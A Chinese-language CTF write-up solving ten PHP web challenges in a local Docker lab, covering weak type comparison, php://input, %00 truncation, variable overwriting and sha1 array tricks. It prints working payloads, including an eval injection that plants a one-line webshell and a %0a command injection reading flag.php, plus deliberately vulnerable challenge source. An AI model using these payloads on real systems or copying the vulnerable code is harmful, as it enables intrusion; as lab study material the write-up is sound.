Challenge-1-10

One

使用docker 拉取环境
docker-compose.exe -f .\docker-compose.yml up -d
image.png
进行访问
image.png
首先看到从上而下看到一个 base64 编码的数据
然后就是 引入lib.php
然后就是输出一个 编码过的flag
对第一行的base64 编码进行解密操作 ,进行反向解密操作
对每一个函数进行解释
:::info
base64-encode() 进行base64加密
hex2bin 16进行转换为 ASCII 码
strrev 进行反转
bin2hex ASCII 码转为 16 进制
:::
编写PHP 脚本
image.png
对其进行反转操作就可以了 我们最终的数据是ASCII码 不是 16 进行 所以这里不要按照直的顺序进行编码
image.png
得到flag
如果按照纯顺序来做会报错
image.png

Two

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);


参数 time
第一个if 不能为数字
image.png
第二个判断
必须大于
>>> 606024302
5184000
image.png
第三个判断 必须小于
>>> 606024303
7776000
image.png
第四个判断
sleep(int())
必须要在 5184000 和 7776000 之间
然后这里又是sleep 函数 必须是整数
在中间的值取个整数 6000000
但是这样的话他会执行 6000000秒 这不行
这里可以使用科学计数法
6e6
———————————————————————————————————–
1、当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.’,’e’,’E’并且其数值值在整形的范围之内,该字符串被当作int来取值。其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
2、在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。(也就是说只靠最前面的进行判断)
3、在进行比较运算时,如果遇到了0x这类字符串,PHP会将它解析为十六进制。

Three

image.png
三个传参值 id a b
前两个好绕过

and $id==0

利用php弱类型比较,数字与字符串等值比较时,字符串取开头的有效数字,无则为0,结合id不为0或null,id可取值开头不带有效数字的字符串,$id=a0
image.png

绕过 a

if(stripos($a,’.’))

$a要么没有. 要么.在字符串的第一位

$data = @file_get_contents($a,’r’); if($data==”1112 is a nice lab!”

data 可以使用php伪协议 php://input
当$a=php://input,即file_get_contents(‘php://input’,’r’)时
$data取请求原始数据流,即post的内容,$a=php://input
$data取post的数据,post 1112 is a nice lab! 即可
image.png
绕过 b

eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4

image.png
%00能截断substr,但注意get传递时会自动解码一次

strlen($b)>5

$b 长度大于 5 12345

substr($b,0,1)!=4)

b 的 第一位不能为4

eregi(“111”.substr($b,0,1),”1114”)

111与$b字符串被截取的第一位字符连结后形成的字符串能在1114中匹配到,即连结后的字符串可以是111也可以是1114
利用%00截断,使substr截取$b字符串时被截断,从而形成eregi(“111”,”1114”),匹配成功,同时%00不会对strlen截断,$b=%0012345

完整的payload
image.png

1
2
3
4
5
6
7
8
9
10
11
POST /challenge3.php?id=a0&a=php://input&b=%0012345 HTTP/1.1
Host: 172.18.52.58:23113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 19

1112 is a nice lab!

Four

image.png
首先看见eval 应该是可以执行php代码的

@_REQUEST[‘hello’]
一个超全局变量,可以接收_get,_post,_cookie发送的数据

eval(“var_dump($a);”);使用了双引号,意味着,会先计算$a的值(也可以理解为先解析$a)再执行eval函数
利用先计算$a的值再执行eval函数这一特点,通过gpc传递给$a特殊的字符串,经过计算后与原本的var_dump();组合造成拼接效果,形成一个新的字符串,使eval函数执行我们预期的php代码
GPC(GET、POST、COOKIE)

  • var_dump()方法是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.
    此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
    这里是将变量a的值打印到界面中。

单双引号
PHP对于双引号包裹起来的字符串要进行扫描计算,单引号则不管内容如何都会原样输出而不会进行计算。
所以’比”执行快

先使用eval 执行phpinfo 看是否执行成功

http://172.18.52.58:23114/challenge4.php?hello=);eval(phpinfo()

image.png
是可以成功执行 的
那就可以写一句去连shell

http://172.18.52.58:23114/challenge4.php?hello=);eval($_POST[cmd]

image.png
image.png

Five

image.png
就没见过 sha1 === sha1 这种
但是尝试一下md5 弱比较绕过
image.png
就绕过了 ….
我也没想到 。。。。

“分析代码逻辑,发现GET了两个字段name和password,获得flag要求的条件是:name != password & sha1(name) == sha1(password),乍看起来这是不可能的,其实可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?name[]=a&password[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag。

这里是因为sha1 无法处理数组就可以绕过成功了

Six

拉取不了 参考一下其他师傅的
https://blog.csdn.net/CliffordR/article/details/104276924/

Seven

image.png
查看源代码也没有发现啥数据
扫描目录也没有发现啥 发现了 flag.php 和 index.php 但是没有数据
后面才才发现 代码在docker 启动目录下
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);


定义了两个变量
$_403 $_200
这里如果不是 POST去 访问 就会BugsBunnyCTF is here :p…
所以一开始 是 GET 就会出现 BugsBunnyCTF is here :p…

首先传入的参数 是flag
image.png
flag =1
会报 Access Denied 拒绝访问
我们的目的是 Welcome Admin
再来看 foreach 循环

foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;

$$,变量覆盖
第一个foreach处,能将任意变量的值赋予任意变量
第二个foreach处,能将输入的值赋予任意变量
第三个 IF

if ( $_POST[“flag”] !== $flag )
die($_403);
echo “This is your flag : “. $flag . “\n”;
die($_200);

$_POST[“flag”]如果与$flag不完全相等,即值和类型都比较时,输出$_403
如果完全相等,则输出$flag和$_200

die

die() 函数输出一条消息,并退出当前脚本。
该函数是 exit() 函数的别名。
die()函数用于移除匹配元素上绑定的一个或多个事件的事件处理函数。 die()函数主要用于解除由live()函数绑定的事件处理函数。 该函数属于jQuery对象(实例)。

解法: CTF中的变量覆盖

foreach ($_POST as $key => $value)
$$key = $value;
当只POST一个值为1的变量flag,$$key = $valu=>$flag = 1,使可能原本存在的变量$flag被赋值为1,
即真实的flag被修改为变量flag的值,由于前面的两个if,这是无法被改变的
所以,需要在真实的flag被修改前将其值给其他变量并能输出出来
能输出的只有die($_403);和die($_200);,
所以思路是利用变量覆盖在flag被改前将真实的$flag的值覆盖$_403或$_200并输出
而能利用变量覆盖将一个变量的值覆盖其他变量的地方只有第一个foreach处

$$ 变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
$flag1 = 100;
$flag2 = 200;
$flag3 = 300;
echo '$flag1='.$flag1."\n";
echo "<br>";

$a = 'flag1'; // 通俗易懂 就是 把 a 的变量名替换成 flag1
$$a = $flag2; // 将flag2 的值 覆盖给flag1
echo '$flag1='.$flag1."\n"; //这里输出 看是否 成功覆盖掉 flag1
echo '<br>';

$_POST['b']='flag3'; #这里只是换了POST 方法输入 , #这里设置 b 的值 为 flag3
$b = $_POST['b']; #把名为 $_POST['b'] 的 变量覆盖给 flag1
$$a = $$b;
echo '$flag1='.$flag1;
echo '<br>';
#---------------------------------

$flag2 = $flag3; #这种是正常的传值 但没有做到变量覆盖
echo '这是正常赋值——flag2=flag3:'.$flag2;
?>

image.png
这样就完成了 变量覆盖

解法 1 : 将真实的flag覆盖$_200并输出$_200
GET传一个变量_200 的 值 为flag
POST 方法传 一个变量为flag 值 为 任何数 ,这里传一个flag=1
image.png
相当于$_200=$flag,将真flag给了$_200
$flag被修改为1,与$_POST[‘flag’]等值等类型,不满足$_POST[“flag”] !== $flag
输出$_200即输出真flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /challenge7.php?_200=flag HTTP/1.1
Host: 172.18.52.58:2317
Content-Length: 9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.18.52.58:2317
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.18.52.58:2317/challenge7.php?
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag=1

解法二 : 将真实的flag 覆盖给 $_403 并构造$_403 能输出
image.png
把真实的flag 传给了 403
然后构造两个flag=2 flag=1
$flag被修改为1,与$_POST[‘flag’]不等,满足$_POST[“flag”] !== $flag,输出$_403

Eight

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++)
{
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
?>

一道php 无数字字母webshell 的题
挺难得 , 看p神的blog 有几种解法
方法一 是 位运算 进行 异或
方法二 是 进行取反运算
方法三
image.png

方法是理解了但是实际操作还是不会 。。。。。 哎

参考师傅们的文章:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/Rain99-/p/12642550.html
https://www.freebuf.com/articles/web/186298.html
https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
http://arsenetang.com/2021/07/26/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%8F%82%E6%95%B0rce/
https://www.freebuf.com/articles/web/261800.html
https://liduoan.github.io/2020/04/03/%E5%9B%9B%E6%9C%88/%E6%97%A0%E5%8F%82%E6%95%B0RCE/#%E5%89%8D%E8%A8%80
https://blog.csdn.net/Manuffer/article/details/120738755
https://xz.aliyun.com/t/9360

Nine

image.png
docker 拉取不了 给了源文件 开始代码审计
这个题 有全局变量 ip
shell_exec 函数 稳稳的RCE了

$substitutions = array(
‘&’ => ‘’,
‘;’ => ‘’,
‘|’ => ‘’,
‘-‘ => ‘’,
‘$’ => ‘’,
‘(‘ => ‘’,
‘)’ => ‘’,
‘`’ => ‘’,
‘||’ => ‘’,
);

存在过滤
image.png
尝试输入一个ip地址
是可以执行命令的 ,但是由于我这里是window系统 看看能不能存在 windows的过滤方法
找了半天没有存在的绕过windows的方法 ,这里由于是windows搭建的 参加的方法被过滤掉了
linux可以使用 %0a 去进行 绕过
完整payload

http://localhost:3000/challenge9.php?ip=127.0.0.1%0als

http://localhost:3000/challenge9.php?ip=127.0.0.1%0acat$IFS$9flag.php
这里$IFS$9是绕过空格

Ten

image.png
**端口 23120 **
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function noother_says_correct($number) 
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}

主要在于

1
2
3
4
if ( ($digit >= $one) && ($digit <= $nine) ) 
{
# Aha, digit not allowed!
return false;

one =1 nine = 9
不能大于等于1 小于等于 9
否则就是false
然后这里 传入的number 还必须等于 3735929054
看见 == 就可以使用php 弱比较
把 3735929054 这个转为 16进制看看
image.png
十六进制的3735929054,只包含字母与0,满足条件
Payload 为

answer=0xdeadc0de

image.png